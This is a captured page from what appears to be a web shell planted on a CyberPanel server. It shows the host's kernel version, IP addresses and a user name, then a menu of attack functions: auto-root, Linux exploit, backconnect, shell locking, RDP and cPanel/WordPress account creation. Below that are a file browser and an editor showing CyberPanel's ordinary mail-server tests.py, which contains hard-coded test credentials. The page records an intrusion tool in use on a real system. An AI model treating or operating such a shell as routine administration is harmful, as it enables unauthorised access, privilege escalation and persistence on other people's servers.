Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
mailServer /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.DS_Store
6
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
admin.py
89
B
-rw-r--r--
apps.py
121
B
-rw-r--r--
mailserverManager.py
79.2
KB
-rw-r--r--
mailserverManager.py.bak
67.3
KB
-rw-r--r--
models.py
1.68
KB
-rw-r--r--
pluginManager.py
1.9
KB
-rw-r--r--
signals.py
1.53
KB
-rw-r--r--
tests.py
3.2
KB
-rw-r--r--
urls.py
2.07
KB
-rw-r--r--
views.py
7.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tests.py
# -*- coding: utf-8 -*- from django.test import TestCase import json from plogical.CyberCPLogFileWriter import CyberCPLogFileWriter as logging import requests import time from plogical.processUtilities import ProcessUtilities import urllib3 urllib3.disable_warnings() # Create your tests here. class TestMailServer(TestCase): httpClient = requests.Session() def MakeRequest(self, endPoint, data): json_data = json.dumps(data) path = 'https://cyberpanel.xyz:8090/%s' % (endPoint) result = TestMailServer.httpClient.post(path, data=json_data, verify=False) return json.loads(result.text) def MakeRequestRaw(self, path): result = requests.get(path) return str(result.text) def setUp(self): ## Verify login data_ret = {'username': 'admin', 'password': '1234567'} response = self.MakeRequest('verifyLogin', data_ret) self.assertEqual(response['loginStatus'], 1) ## Issue SSL data_ret = {'virtualHost': 'cyberpanel.xyz'} response = self.MakeRequest('manageSSL/obtainMailServerSSL', data_ret) self.assertEqual(response['status'], 1) ## Verify SSL path = '/etc/postfix/key.pem' import os self.assertEqual(os.path.islink(path), True) def test_submitEmailCreation(self): ## Create Email data_ret = {'domain': 'cyberpanel.xyz', 'username':'helloworld', 'passwordByPass':'helloworld'} response = self.MakeRequest('email/submitEmailCreation', data_ret) self.assertEqual(response['status'], 1) ## Test Email import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText try: ok = 1 smtpServer = smtplib.SMTP('cyberpanel.xyz', 25) smtpServer.login('helloworld@cyberpanel.xyz', 'helloworld') message = MIMEMultipart('alternative') message['Subject'] = 'Test Email' message['From'] = 'Unit Test' + ' ' + 'helloworld@cyberpanel.xyz' message['reply-to'] = 'helloworld@cyberpanel.xyz' html = MIMEText('Hello World', 'html') message.attach(html) smtpServer.sendmail(message['From'], 'usman@cyberpersons.com', message.as_string()) except BaseException: ok = 0 self.assertEqual(ok, 1) ## Check deletion data_ret = {'email': 'helloworld@cyberpanel.xyz'} response = self.MakeRequest('email/submitEmailDeletion', data_ret) self.assertEqual(response['status'], 1) try: ok = 1 smtpServer = smtplib.SMTP('cyberpanel.xyz', 25) smtpServer.login('helloworld@cyberpanel.xyz', 'helloworld') message = MIMEMultipart('alternative') message['Subject'] = 'Test Email' message['From'] = 'Unit Test' + ' ' + 'helloworld@cyberpanel.xyz' message['reply-to'] = 'helloworld@cyberpanel.xyz' html = MIMEText('Hello World', 'html') message.attach(html) smtpServer.sendmail(message['From'], 'usman@cyberpersons.com', message.as_string()) except BaseException: ok = 0 self.assertEqual(ok, 0)
Close